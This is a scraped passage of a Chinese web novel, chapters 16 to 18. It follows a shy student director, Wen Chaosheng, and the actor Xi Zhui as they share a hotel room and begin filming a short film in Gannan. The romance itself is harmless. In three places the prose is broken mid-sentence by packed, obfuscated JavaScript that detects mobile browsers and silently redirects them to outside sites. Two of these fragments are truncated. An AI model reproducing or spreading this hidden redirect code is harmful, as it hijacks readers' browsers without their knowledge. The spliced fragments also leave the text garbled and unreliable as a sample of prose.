席追沉默着,那深邃的目光却在默许。 闻潮声没得到明确的应答,伸手试探性地触上了眼前人的太阳穴。 细腻的指腹带着温热,力度轻得如同羽毛拂过,像是带着某种安抚人心的魔力。 席追散在氧气罩里的呼吸重了一秒,原本紧绷的神经渐渐放松下来,含糊地“嗯”了一声。 闻潮声见他不排斥,这才有节奏地揉按起来。 “……” 席追合上眼,享受起这片刻的舒缓。 没了近距离的对视,闻潮声也没了最初的那点局促,指腹从太阳穴一点点往后延伸,从耳后的穴位,再绕到了后颈。 一下又一下。 他按得格外认真,身体也不自觉地贴近了席追。 黑暗中,感观被无限放大—— 席追能听见身后吸氧机的运作声,能感到闻潮声指尖摩梭的力度,也能嗅到他身上那股浅淡的、却熟悉的气息。 所有的感知混合着面罩里的供氧,一点点减轻了他原本快要爆炸的痛苦。 ——滴。 吸氧设定的时间到了。 席追忽地睁开眼,幽深的眸光骤然擒住了近在咫尺的闻潮声,他单手摘下面罩,两人的气息几乎顷刻就触及交织在一块儿。 闻潮声猝不及防地撞进席追的眸潭中,动作一顿,呼吸跟着乱了节奏。 他这才意识到两个人挨得太近了,没由来的慌乱迫使他避开这场对视,“……你不吸氧了吗?” 席追一动不动,“好点了,不能总依靠氧气,得慢慢适应。” 刚吸完氧的嗓音带着些许沙哑,有种说不出的苏感。 “……” 闻潮声的心脏跳得几乎要冲破胸膛,好像真正高反中招的人是他自己,他下意识地想要抽回手,拉开两人之间过近的距离。 席追忽地攥住眼前人的手腕,不让他走,“闻潮声。” 闻潮声一抖,“唔?” 席追突然问,“你是不是还在用宝宝霜?椰奶味的。” 闻潮声没料到对方的关注点偏到这里,脸颊发烫,“不是宝宝霜,是成人用的身体乳。” 这么多年,他用习惯了这味道,就没想着换。 闻潮声低头挨进自己的被子闻了闻,不太确定,“我明明只涂了一点儿。” 随即有些苦恼地追问,“你是不喜欢这味道吗?会熏得你不舒服吗?” 席追嘴角微微上扬,才松开闻潮声的手腕,“没有,挺好闻的。” 他很喜欢,这味道。 “哦。” 闻潮声低应了一声,正犹豫要不要继续按摩。 下一秒,席追居然主动凑了上来,用一种并不强势的、甚至带着一点儿可怜的口吻请求。 “还疼呢,你再帮我按按。” 16.【第016章·旧情愫】 席追再次醒来时,入目先是一片柔软的被子,视线上移,他才看见了闻潮声的睡颜—— 此刻,窗帘缝隙里透出来的微末晨光落在了对方白净的脸上,修长的睫毛随着呼吸轻颤,微抿的唇泛着淡红。 熟睡中的闻潮声有种纯粹的、却不张扬的漂亮。 “……” 席追盯着眼前人回忆了两秒。 昨晚应该是自己先睡着了?而且他似乎又把闻潮声当成了抱枕,整个晚上都以略低的姿态压在对方的身前睡觉。 大概是不愿意影响他这位“病患”休息,闻潮声一直维持着侧躺的姿势,放无可放的双手只能合缩在胸口,这会儿乖得像是洞穴里蜗居的小动物。 “……” 这人,怎么从小到大都呆呆的。 明明睡得不舒服,怎么不喊醒他? 席追注视着还没醒来的闻潮声,心底晃出一股微妙的暖流,连带着驱赶了那点残余的头疼。 他往后撤回了一点儿距离,顺手给闻潮声重新拢好了被子。 压在胸前的“大石头”终于消失,睡梦中的闻潮声感到了松快,闷哼一声就将自己彻底缩回到了被子里。 某种动物属性又偷跑了出来。 席追盯着漏在被子外的那点卷毛,没忍住伸手逗了一下,“乌龟,早安。” “……” 闻潮声没听见,睡得很香。 席追怕吵醒对方,没有急着起床洗漱。 大概过了二十分钟,楼下忽地传来一阵汽车鸣笛。 滴——滴——滴—— 持续性的车喇叭声有些闹人,席追蹙眉,伸手正准备替睡梦中的闻潮声捂耳朵,可惜迟了一步。 “……” 闻潮声迷迷糊糊地被窝里钻出来,眼神里还带着未消散的困意,“好吵。” 刚睡醒,还夹带着一点儿鼻音。 “估计是楼下的道路被堵了,车主在催。”席追猜测,没一会儿,车笛声又没了,“要再睡一会儿吗?” “唔。” 闻潮声闭上眼睛缓了几秒,才再次睁开。 他看清眼前的席追,理智逐渐复苏,想起了昨晚临睡前的事,“你好点了吗?” “好多了。” 席追见闻潮声还赖在被窝里不起床,一半玩笑一半认真,“多谢闻导昨晚的照顾,这算是主演才有的优待?” “嗯?我们还是朋友。”闻潮声看着眼前的席追,藏着点私心嘟囔,“而且我比你大点,是哥哥。” 即便他们不是导演和主演的工作关系,就凭两家人的私交,他在外也应该照顾席追这位“弟弟”。 席追听见这声意料之外的称呼,先是一愣,旋即似笑非笑地凑近他,“什么?” “……” 闻潮声没料到席追会突然靠近,拢着被子往后缩了缩,“没什么。” 说实话,他还挺想听席追喊他“哥哥”的,不过,对方从小就没觉得他像哥哥,还是不要奢望听见这声称呼了。 席追揣着明白装糊涂,眸底渗出一丝玩味,“闻潮声。” “嗯?” “你知不知道你睡觉的时候会磨牙,会打呼,还会哼哼唧唧地说梦话。” “……” 闻潮声不可置信地睁大了眼睛,热意迅速蔓延到了脸上,“怎么会?你、你骗我的吧?” 席追的脸上不见“撒谎”才有的心虚,答非所问,“怎么?你大学室友没告诉过你吗?” 闻潮声连忙爬坐起来,懵懵地摇头,“没有。” 席追淡定地说,“哦,那我告诉你了。” “……” 闻潮声看见席追言之凿凿的模样,感觉天都塌了!他一直以为自己睡觉是最老实、最安静的那一类! 席追如愿逗到眼前人,藏着笑意率先下床,“我去洗漱了,你可以再睡一会儿。” 闻潮声哪里还睡得着? 他趁着席追洗漱的那点功夫,主动叠好了两人的被子,这才满脸纠结地等在浴室门口。 席追一开门,就和他重新打了照面。 四目相对,闻潮声不死心地追问,“席追,真的吗?” “什么?” “我睡觉真的会磨牙、打呼、还会说梦话吗?” “……” 几分钟前忍下去的笑意,在这一刻彻底漏了陷。 席追的眼角眉梢都在笑,“没有,我逗你的。” 闻潮声悬在嗓子眼的心落了回去,质问声却不严肃,“你怎么这样?我……” 席追忽地补充,“你睡觉很乖。” 闻潮声卡壳,那点郁闷轻易被这声夸奖给哄好了。 席追主动问,“今天什么安排?” 闻潮声说,“我和学姐他们一起去找文旅局的负责人,要确认他们提供的拍摄场地,还要去见见这边的藏族演员,估计要忙到晚上才会回来。” 离正式开拍只有三天了,他们的任务还挺重的。 “你昨晚身体不舒服,今天就留在酒店吧?” 闻潮声提议,又交代,“我又修了一点儿剧本内容,你待会儿再看看,提前背背台词,等晚上回来,我们再讨论角色。” “好,你们注意安全,有事微信联系。” “嗯。” … 没多久,收拾好的闻潮声就拿着背包离开了。 席追给自己泡了一杯咖啡,重新研究起了《轮廓》的最终版本。 男主唐遇在毕业设计的灵感和塑造上屡屡受挫,直到他的导师以过来人的身份提点了他—— 因为唐遇这一路走来都太过顺利,年轻的心必定会随之浮躁,一旦创作遭遇瓶颈就容易坐井观天、停滞不前。 “艺术不仅源于创作者对自身灵感的塑造,更是创作者对生活、对世界的深刻感悟。” 以他现在的状态,与其待封闭的教室里独自琢磨,还不如出去走走,见万物、见天地、见众生。 在导师的一番劝说后,唐遇带着半信半疑的态度开始了他的旅程,他没有选择热门的旅游城市,而是选择了甘南。 某天,唐遇在独自徒步扎尕那高山区时,不慎扭伤了左脚,天色已晚,幸好有藏民路过,好心将他带回了附近的村寨中。 也就是村里藏医的家中,唐遇认识了一位藏族姑娘——央金拉姆。 央金拉姆比唐遇年长了十岁,生得很漂亮,只是命运总爱和美人开玩笑,三岁那年的高烧导致她双目失明。 此后,央金的人生永远被黑暗所笼罩、被困在了这一方天地,能凭自己摸索走到最远的地方,也只是村口。 而她成年后唯一的收入,就是帮着村里的藏医磨药粉。 或许是避开了世间的污浊,央金拉姆的身上有着一种不谙世事的纯粹、天真和善良。 唐遇的到来,彻底打开了她对外面世界的认知,她总是好奇地、用不够娴熟的普通话提出一个又一个的问题。 而央金拉姆同样会将自己内心深处的小世界讲给对方听,关于高原的风,关于湖水的凉,关于能治病的草药,关于她的一年四季。 那双蒙了尘的眼虽然黯淡无光,但她的神色足够生动明艳。 唐遇本来就没有既定的出行计划,扭伤脚的他选择花钱借宿在村中,在日复一日的相处过程中,他和央金逐渐萌生出了一丝隐秘的情愫。 但时间不等人,唐遇不得不返校完成了他的毕业设计。 临走分别的前一晚,央金拉姆第一次、也是最后一次壮着胆子摸上唐遇的脸,那双本该黯淡的眸里涌现出一丝微弱的水光。 “我想记住你的轮廓,想一直记住你的样子。” “好。” 谁也没将那点爱意宣之于口。 离了甘南这方天地,他们终究是两个世界的人。 现实的爱情终究只是勇敢者的游戏,他们一个太年轻、一个太无奈,谁都没有把握让这份感情在截然不同的世界里延续。 但唐遇不知道的是,央金的父亲早已经不想背负女儿黯淡无光的人生。 在现实和利益的双重驱使下,强制性地给她订好了一门非意愿的婚事,就在他走后的那个周末。 从始至终,央金没有将自由的希望“绑”在唐遇的身上。 她爱上了这个近在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16528221|185475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咫尺、却素未谋面的年轻男孩,爱上了对方给她编织的关于远方的彩色梦境,更知道他年轻的灵魂不应该被自己所拖累。 婚礼的前一夜,向来只能寻到村口的央金,竟然独自寻觅到了村边的一个高山湖泊。 又一阵高原的风吹过,抚平湖面上荡起的涟漪,从那以后,没有人再知晓央金拉姆的去处。 三个月后,唐遇的毕业作品被放置在了毕业展会的C位。 那是一副近乎完美而生动的泥塑作品,雕刻地是一位长相明艳的藏族女孩,只是她的眼上蒙了一层随风飘动的格桑花带。 ——《央金拉姆》 没人知晓这个看似普通的藏族名字,对创作者究竟意味着什么。 而底下附带的创作说明也仅仅只有寥寥数语: “这是我印在心底的,关于她的轮廓。” … 闻潮声给央金的结局做了留白。 而关于最终泥塑的描写,他从席追的试镜演绎里得到了灵感,做出了修改。 那双一开始被唐遇抹平的“眼睛”,最终雕刻上了更灵动的格桑花带,飘扬着成为了两个灵魂的唯一连接。 叮咚。 房间铃声突然响起。 席追的思绪从剧本里挣脱,起身开门。 门口站着的是酒店经理,他对上席追的身影,礼貌地说明自己的来意。 “先生你好,是这样的,另外一间大床房的水管已经修好了,请问你们这边还要根据预定的天数重新办理入住吗?” “……” 席追脑海中浮动出闻潮声的睡颜,攥着剧本的手紧了紧,“不用了。” 就这样一块住,也挺好的。 他没有说明真实理由,而是找了借口,“我们大学生剧组拍摄,想着还是省点钱,麻烦你们把那间房的房费退回到原账户,谢谢。” “好的,这回确实是我们酒店造成的问题,希望没给你们带来不愉快的入住体验。” “嗯,麻烦了。” … 因为有了学校的申请介入,当地的有关部门给闻潮声等人提供了拍摄支援,三天后,开拍前的筹备总算全部搞定。 虽然只是一部文艺风的电影短片,拍摄规模也不大,但剧组还是弄了一个小小的开机仪式。 ——砰! 盖在拍摄机器上的红布掀下,与此同时,众人的手拧礼花发出喜庆轰响。 “开机大吉!” “拍摄顺利!” “我们组开机大吉!我们电影将来一定会拿奖大爆的!” 孙选是个乐观派的大嗓门,喊了一声还不够,非得又冲着闻潮声喊,“自编自导,我们闻导牛逼!” “……” 闻潮声本来就是个社恐,听到这么一喊,顿时羞红了脸。 他止不住孙选这兴奋劲,只好埋头从背包里拿出一叠早就准备好的红包。 林可漾惊讶,“潮声,你怎么还自己准备了开机红包?” 孙选乐了,“我去,真有一张毛爷爷啊,谢谢导演!” “应、应该的。”闻潮声红着脸挨个儿给主创以及工作人员发了过去,“接下来要辛苦大家配合了。” 这事是宋雪兰特意交代的,哪怕再小的组,都要发个红包图个吉利。 圈里的电影人总归有点“迷信”,身为名导和知名编剧的儿子,闻潮声自然照做。 “……” 身为主演的席追没有跟着起哄,只是目光跟随着闻潮声晃了一圈。 直到对方转回到他的跟前,将手中最后一枚红包递了上去,“席追,这是给你的,开机大吉。” 闻潮声藏在镜片后的眸光很明亮,看得出这会儿很开心。 席追微笑着接过,“谢谢,开机大吉,也给了我一百?” 话音刚落,拿到红包底部的他就摸索出了一点儿不同寻常,“嗯?” “……” 闻潮声在这事上存了点不可言说的偏心,心虚地闷咳了一声。 他朝着周围偷瞄了好几眼,确认暂时没人注意后,才超小声提醒,“嘘,悄悄的,给你的不一样。” 17.【第017章·旧情愫】 席追涌出一丝少有的好奇,“不一样?” 闻潮声低声提醒,“你可以回去再……” “拆”字还没说完,他的手腕就被席追稳稳攥住,“唔?” “不想等回去了。” 趁着旁人都在欢呼聊天,席追特意拉着闻潮声往角落走了几步,然后以最快的速度打开红包。 先入眼的,也是一张崭新的毛爷爷。 他看了一眼闻潮声,反手将红包底部的那点重量往外一倒—— 唰。 一枚微凉的硬币顺势滑进他的掌心,边缘带着点不规则的凹凸的磕碰,硬币上面的图案却很清晰。 席追定眼一看,有些惊讶,也有些不太确定,“这是……罗马古币?” “嗯。” 闻潮声解释了一下这枚古币的来源,“前些年和我爸妈去罗马旅游的时候,在一个古董店里买到的。” 虽然边缘看着有些破,但这是货真价实的古币,还是很少见的琥珀金币。 席追问,“为什么给我的开机红包里多塞一枚这个?” 闻潮声伸手点了一下古币的正面,介绍,“这个图案是古罗马的战神马尔斯。” 相传他是战士的庇护者、是守护神,拥有战无不胜的勇气和力量。(*) 闻潮声当时就觉得这个寓意挺好的,“我想着把这枚古币买下来,有朝一日,可以将这里面的寓意和祝福送给我人生中第一位电影的主演。” 席追眉梢微挑,“所以,被我有幸拿到了?” “嗯。” 其实,闻潮声还藏了一点儿秘密没有说—— 相传马尔斯还是白羊座和天蝎座的守护神。 当初的闻潮声已经开始了《轮廓》的剧本创作,也将它当成自己人生中第一部最有可能拍摄的电影。 他暗中以席追的原型、名字构建了唐遇这个角色,偏巧席追的生日就是天蝎座。 买下这枚古币的那一瞬间,闻潮声曾经有过一种不切实际的冲动:要是最后能送给席追就好了。 或许是冥冥之中自有天意。 眼下,他人生中第一部作品的男主角就站在这里。 闻潮声知道席追没有要进入娱乐圈的打算,出口的祝愿换了个方向,“席追,希望你未来的人生都能顺遂。” “……” 席追对上闻潮声真诚的眸光,掌心上的这点重量似乎压到了心底,沉甸甸的。 “谢谢,我会好好保存的。” “好。” 闻潮声扬起一抹心满意足的淡笑,“那我们回去吧?” “等一下。”席追拢了一下他的手腕,再松开,“这次答应来甘南出演电影,太临时了,我没给你准备开机礼物。” 闻潮声愣了愣,下意识地说,“没关系。” 席追反问,“不想要吗?” “……” 想的。 闻潮声沉默着,未出口的答案却很明显。 “今天是来不及了,等拍摄结束回了帝京,我再给你补上?” 席追对着眼前的闻潮声承诺,“到时候,就当庆祝你导演生涯第一部电影顺利杀青。” 闻潮声眼露惊喜,“真、真的吗?” 席追已经有了“礼物”的构思和想法,“嗯,至于送什么?我先保密。” 闻潮声试图追问,“不能现在就告诉我吗?” “不能,说了就算不上礼物和惊喜了。”席追对上他眼中的好奇,暗暗鼓励,“我们闻导得先好好努力、顺利带领大家杀青才行。” “好吧。” 闻潮声只好忍住自己强烈的探究欲,点了点头,“我会努力的。” 话音刚落,那边的孙选就嚷嚷起来,“导演,你们俩躲在角落密谋什么呢!不会是背着我们偷偷给主演大红包吧?快点来拍大合照了!” 闻潮声瞬间心虚挺直背,“没有!” 席追暗笑。 他妥善收好这枚意义非凡的古币,这才接替应话,“来了。” …… 除了闻潮声在内的主创团队,现场的工作人员以及摄像团队都是文旅局提前找好的。 开机过后,剧组就紧锣密鼓地进入了开拍前的准备。 林可漾带着一对藏族姐弟走了进来,“闻导,席追,这位就是负责‘唐遇’妆造的造型师,梅朵。” 梅朵不到三十岁,但已经是当地很有名的妆造师,开了一家工作室,给不少藏族歌舞团化过妆。 她提前一个月在线上沟通好了男主剧里的全部妆造,只是还没来得及对着真人上手定妆。 “闻导好,终于见面了。” 梅朵推着一个巨大的化妆箱,她的身后还跟着一名年轻小伙,也背着大包小包以及行李箱。 “你、你们好。” 闻潮声推了推自己的黑框眼镜,极力掩藏自己的社恐属性,“这位是?” “哦,他是我小弟诺布,放暑假了,让他跟在我身边当个助手、长长见识。” 梅朵是个很热情的自来熟,“我听林小姐说,你们剧组挺缺人的,如果有需要,可以让我小弟搭把手,免费的。” 林可漾笑笑,“那敢情好啊。” 梅朵的视线挪到了席追的脸上,感叹,“这位就是男主角了吧?长真帅!” 席追微微颔首,“你好。” 林可漾也不废话,“席追,你跟着梅朵去小房间做妆造吧?下午才轮到你一连串的主场戏。” 席追完全配合,“好。” 等到梅朵姐弟跟着席追离开,闻潮声才明显松了口气。 林可漾忍不住打趣,“看见个生人就紧张成这样?你接下来的拍摄可怎么办?” “唔。” 闻潮声闷应了一句,又暗戳戳地给自己打气,“我可以的。” 需要和演员沟通角色的塑造、需要和工作人员对接拍摄细节的时候,他会努力克服自己的社恐去交流,这才是对这部剧的真正负责。 何况,只有把这部电影好好拍完,他才能得到席追的杀青礼物。 他很期待。 … 剧组的监视棚已经搭建好了。 闻潮声最后确认了一遍现场的拍摄光线,才坐回到了监视器前。 首日上午的拍摄通告排得很松,戏份也很简单—— 男主角唐遇在听从了导师的开解后,选择来到了甘南,用他的相机记录下了甘南县城的人文风情、用心记录下了每一张和他交谈过的脸。 因为开机仪式花费了将近两个小时,上午能利用的时间很短,只拍摄了关于藏民生活的零碎片段。 但这一幕幕的短镜头,拍摄起来很顺利。 “OK!过了。” 闻潮声暗松一口气,又请边上的林可漾帮忙,“学姐,麻烦你去联系一下餐车,看能不能提早到?” 他们的时间经费都很宝贵,早点吃完饭,下午就能早点开拍,趁着今天光线好,还能争取多拍一两场男主的单人镜头。 “好的。” 林可漾起身,扭头才发现后面还悄咪咪地蹲着一个人,“诶呦!吓我一跳!” 闻潮声不由转过视线,垂眸看清,是梅朵的弟弟。 诺布见自己吓着了林可漾,连忙起身,却因为蹲得太久麻了脚,没站稳地后退了两步,“对、对不起姐姐,我、我……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16531805|185475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他的普通话发音不太标准,也不太熟练,结结巴巴说不明白。 闻潮声记得他的名字,“诺布,你姐姐给席追化好妆了?” “还没有。” 诺布不好意思地挠了挠头,试图解释,“阿姐在忙,我、我一个人闲着无聊,才出来的。” 林可漾瞧见他的大高个,问,“你还是学生吧?这个头有一米八了没有?” “马上要读高三了。”诺布老老实实地回答,“我一七九点八,学校测的。” “这么精准啊?”林可漾玩笑,“这世上居然还有一米七九的男生呢?” 诺布没听懂,张大嘴巴,“啊?” 林可漾被他的反应逗笑,又看了一眼闻潮声,“我先去忙了。” “好。” 林可漾离开后,监视器前就只剩下了闻潮声和诺布大眼瞪小眼,一个社恐,一个普通话不流畅,两个人谁也不知道该说些什么。 闻潮声试图找个话题,“你、你刚蹲在后面,是在看我们拍戏?” 诺布点点头,还以为自己犯了错。 他没想到,闻潮声只是拍了拍边上的小马扎,“你先坐下吧,别站着了。” 诺布喜出望外,马上照做,“谢谢哥哥!” “……” 面对这突如其来的称呼,闻潮声愣了愣。 长这么大,还没有人喊过他“哥哥”,他小时候倒想让席追喊,但对方明显不愿意。 诺布是第一次看电影拍摄,他好奇地指向监视屏幕,又是一句,“哥哥,为什么那边在拍,这边、这边就能看到?” 闻潮声没有导演架子,以两人的年纪差,诺布喊他“哥哥”也没错。 “有传输线,可以连接。” “哦。” 诺布似懂非懂,又指向另外一个物件,“那这个是什么?” “还有这个,是什么?” 将近一米八的壮实个头缩在小马扎上,黝黑的瞳孔里充斥着数也数不清的好奇,不像高中生,反倒像个懵懂的小朋友。 恍惚间,闻潮声想起了小时候的自己,在剧组也是这样对着闻春申问东问西。 或许是涉及到了电影方面的提问,闻潮声没了一开始见生人的局促。 趁着休息,他仔细和诺布介绍了这些拍摄的装备,顺带讲解了电影从拍摄到成片放映的过程。 诺布听得很认真,“哥哥,那我可以拍电影吗?” 闻潮声已然把他当成好奇学生看待,“你也想拍电影?” “嗯!不行吗?” “唔,也不是不行……” 两个人有一搭没一搭地闲聊着,而另外一边的席追也做完了妆造。 他刚从化妆小房间里出来,就引发了边上众人的一阵惊叹。 孙选第一个开口,“我去!席追你这张脸也太帅了!” 廖奇也夸,“附议!哥们长这样能有什么烦恼?” 席追早就习惯了身边人对于颜值的夸奖,笑了笑,但没应声,他的目光越过众人,远远就落到了监视棚下—— 此刻,闻潮声和诺布并排坐在监视器前。 前者没有第一时间注意到他的出现,不知道是在说些什么,而后者的脸上充满了探究和崇拜,贴得还挺近。 席追眸光锁定,稳步走了过去。 离得近了,他就听见诺布对着闻潮声喊道,“谢谢哥哥!” “……” 哥哥? 席追前进的步伐因为这个称呼停了一秒,握着剧本的指腹极其轻微地紧了紧。 他继续走了过去,故作随意地加入了这场对话,“闻导,在聊什么?笑得那么开心。” 18.【第018章·旧情愫】 抬眼的那一霎那,闻潮声的思绪猛然凝固。 妆造放大了席追原本的五官优势,眉骨间的冷锐似隐若现,轮廓线条更像是经过了精心的雕琢,杀伤力比平日里的素颜要高上千百倍。 明明只是再简单不过的白蓝涂鸦衬衫,穿在他的身上就特别对味。 监视器的屏幕还亮着,光晕折射到了闻潮声的镜片上。 他只觉得眼前人的身影清晰又模糊,像是介于现实和虚幻之间,是席追,也是剧本里由他而生的唐遇。 席追看清了闻潮声显而易见的失神,心底那点不着调的微妙酸意骤然消散,“导演?” 他站定在监视器前,明知故问,“我的妆造有问题?” “啊?不是。” 闻潮声才意识到自己的注视过于长久,连忙推了推自己的眼镜遮掩,“挺好的。” 席追微微一笑,轻易将话题掌控,“我平日基本不化妆,还不太适应,不过你是导演,你觉得我这样符合剧本角色就行。” “嗯,符合的。” 闻潮声再三肯定,“席追,你这样很好看。” 席追笑了笑,状似无意地瞥了一眼并不熟悉的诺布,“你们刚才在聊什么?” 诺布对他的审视毫无察觉,“哥哥在给我讲电影。” 闻潮声也说,“诺布对电影拍摄很感兴趣,我就和他简单科普了一下。” “是吗?”席追未置可否地挑了一下眉梢,忽地对诺布说,“你姐姐好像在找你?” “啊?” 诺布以为真有这回事,一骨碌地就从小马扎上站了起来,却不忘对着闻潮声说,“哥哥,我待会儿、再来找你!” “诶……” 闻潮声目送着他跑远的背影,“跑这么急,也不怕摔跤。” 席追见闻潮声的身边又腾出了空位,直接坐下占据,“你还挺关心?他这个年纪皮糙肉厚,摔倒了也不疼。” 闻潮声根本没意识到这句话的重点,悄声说,“地上铺了好多数据线和电线呢。” “万一他摔跤后、勾倒了器材怎么办?好贵的。” 这些设备都是从文旅局那边借来的,把他们剧组全体卖了都赔不起。 席追没想到他的关注点在这儿,不由失笑。 闻潮声问,“你笑什么?” 席追否认,“没什么。” “……” 明明就笑了,怎么还不承认呢。 闻潮声还想继续追问,林可漾就拿着他们的午饭走了过来,“潮声,席追,正好你们俩都在这儿,给。” “谢谢。” “不客气,吃完不够再去拿。” 甘南的物价低,剧组的单人盒饭安排得很不错,两荤两素,外加一盒米饭。 闻潮声的饭量不算大,吃饭的速度也很慢,过了好一会儿,他才停下了筷子。 边上的席追早已经吃完了,他看着闻潮声盒饭里一点儿没动的红烧肉,“不吃肉?” 闻潮声只说,“吃饱了。” 其实他不喜欢红烧肉的肥肉部分,看着就觉得很油腻,所以一块没动。 闻潮声知道自己挑食,略带歉意地看着盒饭里冒着油光的红烧肉:对不起—— 习惯性的默念还没说完,席追就像有心电感应地开了口,“今天不用嘟囔着说‘对不起红烧肉’了?” “……” 正在进行的隐秘道歉被戳穿,闻潮声怔住了。 这是他从小就养成的习惯,对于吃不了、吃不完的食物总爱道个歉,后来意识到这样的行为太过幼稚,于是就从“口头表达”变成了“心里默念”。 闻潮声没料到,席追居然连这种事情都还记得? 可现在不是小时候了,他不觉得对方会愿意接受自己剩下的食物,也不想让对方觉得自己是在浪费粮食。 闻潮声嘴硬,“我会吃完的,不急,慢慢吃。” “吃不下的话就别勉强。”席追早就看穿了眼前人,下意识地拿起自己的筷子,“反正你还没动过,可以给……” 他还没说完,就被另外一道更响亮的声音打断:“哥哥!你吃完饭了吗?” 诺布从不远处跑了过来,一手端着还没开吃的盒饭,另外一只手拿着一个塑料小袋子。 他凑到闻潮声的面前,献宝似地打开那小袋子,“哥哥,这是晒好的牦牛肉干,好吃的,给你!” “……” 一口一个“哥哥”。 才见面第一天,怎么就熟悉到这种程度了? 席追瞧见正对闻潮声笑得灿烂的诺布,眸光不自觉地深了些。 闻潮声没注意到身边人一闪而过的情绪,对诺布说,“谢谢,但我已经吃得差不多了。” 诺布注意到了他盒饭里的红烧肉,指了指,“哥哥,你这个、不吃?” 闻潮声正愁不知道该怎么解决这些红烧肉呢,“你想吃吗?我没用筷子动过,都是干净的。” “嗯!”诺布一点儿不嫌弃,将一袋子的肉干都塞了闻潮声,“我们交换!” 闻潮声扬起嘴角,“好。” “……” 诺布来得快,揣着盒饭跑得也快。 闻潮声见没有浪费午饭里的荤菜,心情轻松地收拾了一次性盒饭。 他将刚刚到手的牦牛肉干递给席追,诚邀,“席追,你要尝尝吗?我听说甘南这边的牛肉干特别好吃。” “不用,我饱了。” 席追不咸不淡地拒绝,将筷子撂回到盒饭上,起了身。 闻潮声抬头看着他,还往嘴里塞了半块牛肉干,“你去哪儿?” “去倒垃圾。”席追面无表情地拿起了自己的盒饭,却不忘顺带收走了闻潮声的快餐盒,“你吃你的。” “唔,谢谢。” 闻潮声盯着他的背影,总觉得哪里怪怪的,但又说不上来。 … 得益于外在形象的贴合,角色台词量又不多,席追午后的两场戏份过得很顺利。 下午三点,剧组将拍摄场地转移到了县外的一个寺庙内,这座寺庙已经有上百的历史了,平日里是不接待外来游客和团队的。 好在文旅局提前和庙里打好了招呼,在约法三章后,寺内还是腾出空地、允许了他们进场拍摄。 闻潮声和孙选等人提前来这儿踩过点了,他看着寺庙经幡台上倾泻而下的日光,决定这场戏采用最真实的自然光。 这会儿,剧组众人正在抓紧时间调试最佳的拍摄角度,毕竟自然光照有限,他们要赶在太阳下山前完成这一场戏。 席追望着闻潮声忙碌的身影,没有上前打搅,而是专注默戏。 滋滋。 口袋里的手机响起震动。 席追拿出来看清屏幕上的消息,有些意外地拧眉,他迅速放下剧本、打字回复。 过了一会儿,闻潮声彩走了回来,“席追,用不用再给你讲一下这段戏?” 席追的视线依旧停留在手机屏幕上,慢了半拍才开口,“嗯?不需要,我知道要演什么,不是要抓紧时间吗?简单走个戏就开始吧。” 这场戏是男主角的个人戏份,在剧本后期。 在离开甘南之前,唐遇特意前往了央金曾提及的那座寺庙,在寺内建造的高台上,漫天经幡随风簌簌,每一片飘动的色彩都代表着世间芸芸众生的真挚祈祷。 为了爱,为了一切。 原先的唐遇是一位无神论者,从不信这片天地存在神佛。 然而,此刻的他甘愿驻足在甘南这片大地上,站在漫天飘扬的经幡前,为了短暂相识、却不能相守的女孩,以最虔诚的心祈祷她的安康。 殊不知,对方早已经跌入了命运不幸的漩涡。 这场戏份没用多余而累赘的台词,需要主演需借助面部表情,尤其是眼神传递出人物的内在情感。 不复杂,却也不简单。 自从两人住在一起后,每晚都会抽时间一起讨论剧本、分析人物。 闻潮声相信席追对剧本的理解能力,“好,那就直接走戏踩点。” “嗯。” … 十分钟后,打板声响起。 “Action!” 正值黄昏,斜阳散进了这座鲜有人迹的藏地寺庙。 五彩经幡被悬挂在高顶的绳索上,被高原呼啸的风翻飞作响,投射下的光影闪烁而流动。 经幡之下,饰演男主的席追默默站立着。 镜头慢慢推近,忽然间,另外一头就传来了闻潮声的打断声,“卡!不行!” “……” 刚酝酿好的情绪顷刻被掐断。 席追不由朝着闻潮声看了过去,无声询问,前面负责扛机器拍摄的孙选也问,“导演,怎么了?” “光线位置变动了,和刚才走戏的时候差了一点。” 闻潮声拿着扩音器解释,较真每一个可能会影响质感的光影细节,“席追,孙选,你们总体的位置都往后移一点点,再对一遍。” 席追比了一个OK的手势,配合着摄像团队一块调整位置。 很快地,打板声再次响起。 可是开拍不到十秒,一阵突兀的手机震动声就传了出来。 “……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16541881|185475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >席追抬手,略带抱歉地示意,“不好意思,我的问题。” 他拿出口袋里的手机,屏幕上方正弹出一则来电提醒。 孙选看了一眼远处的闻潮声,又问席追,“要接吗?” 席追迅速按断,并不想浪费剧组众人的时间,“不用,抓紧时间,重新开始吧。” 众人再次调整,投入新一场的拍摄,可惜,高原上呼啸的风又开启了玩笑—— 席追刚演到一半,有一缕头发就被妖风吹散了,好巧不巧挡了一点点眼睛。 闻潮声顿时强迫症发作,无奈之下再度喊停。 “……” 